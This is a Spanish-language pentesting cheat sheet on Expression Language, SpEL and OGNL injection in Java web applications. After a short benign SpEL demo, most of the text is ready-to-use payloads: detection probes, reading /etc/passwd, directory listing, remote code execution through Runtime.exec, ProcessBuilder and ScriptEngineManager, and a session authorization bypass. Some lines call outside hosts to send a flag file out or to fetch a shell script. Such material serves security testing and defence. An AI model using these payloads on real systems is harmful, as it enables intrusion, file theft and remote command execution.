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EL - Lenguaje de Expresión

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Información Básica

EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans administrados).

¿Dónde se utiliza?

Spring Framework: Seguridad, Datos, …
Cualquier lugar donde los desarrolladores lo usen mediante la API de SpEL
Para los lenguajes se puede usar en Java, Kotlin, Scala y otras tecnologías basadas en JVM.

EL es utilizado por varias tecnologías de JavaEE, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Dependencias y Contextos para Java EE (CDI). EL también se puede utilizar en entornos independientes.

Las aplicaciones Java son fácilmente reconocibles ya que tienden a usar extensiones como .jsp o .jsf, lanzan errores de pila y usan términos como "Serverlet" en las cabeceras.

{% hint style="info" %} Dependiendo de la versión de EL, algunas características pueden estar activadas o desactivadas y, por lo general, algunos caracteres pueden estar prohibidos. {% endhint %}

Ejemplo Básico

(Puedes encontrar otro tutorial interesante sobre EL en https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Descarga desde el repositorio de Maven los archivos jar:

commons-lang3-3.9.jar
spring-core-5.2.1.RELEASE.jar
commons-logging-1.2.jar
spring-expression-5.2.1.RELEASE.jar

Y crea el siguiente archivo Main.java:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static ExpressionParser PARSER;

    public static void main(String[] args) throws Exception {
        PARSER = new SpelExpressionParser();

        System.out.println("Enter a String to evaluate:");
        java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
        String input = stdin.readLine();
        Expression exp = PARSER.parseExpression(input);
        String result = exp.getValue().toString();
        System.out.println(result);
    }
}

A continuación, compila el código (si no tienes javac instalado, instala sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Ejecute la aplicación con:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Ten en cuenta cómo en el ejemplo anterior se evaluó el término {5*5}.

Ejemplo de CVE

A estas alturas, apuesto a que ya sabes lo que viene. Si los desarrolladores están utilizando SpEL con entrada de usuario, necesitamos crear una carga útil con inyección. Veamos uno que permita la ejecución remota de código (RCE). Fue creado como parte de un exploit para CVE-2017-8046.

Consta de 3 partes:

color negro - copia el resultado de la ejecución del comando directamente en el flujo de salida de la solicitud HTTP
color rojo - obtiene el tiempo de ejecución de Java y ejecuta el comando en el sistema
color azul - cadena que contiene el comando: cmd /c dir. Para hacerlo más robusto, los caracteres individuales del comando se decodifican a partir de números.

Resultado de su ejecución:

Cargas útiles

Acciones básicas

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Detección

Detección con Burp

gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

Detección de J2EE

#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

Esperar 10 segundos

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Inclusión Remota de Archivos

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Listado de directorios

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

Explicación básica de RCE

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

RCE en Linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

RCE Windows (no probado)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

Más RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspeccionando el entorno

applicationScope - variables globales de la aplicación
requestScope - variables de la solicitud
initParam - variables de inicialización de la aplicación
sessionScope - variables de sesión
param.X - valor del parámetro http donde X es el nombre del parámetro

Deberás convertir estas variables a String como:

${sessionScope.toString()}

Ejemplo de bypass de autorización

${pageContext.request.getSession().setAttribute("admin", true)}

La aplicación también puede usar variables personalizadas como:

${user}
${password}
${employee.FirstName}

Bypass de WAF

Revisa https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Referencias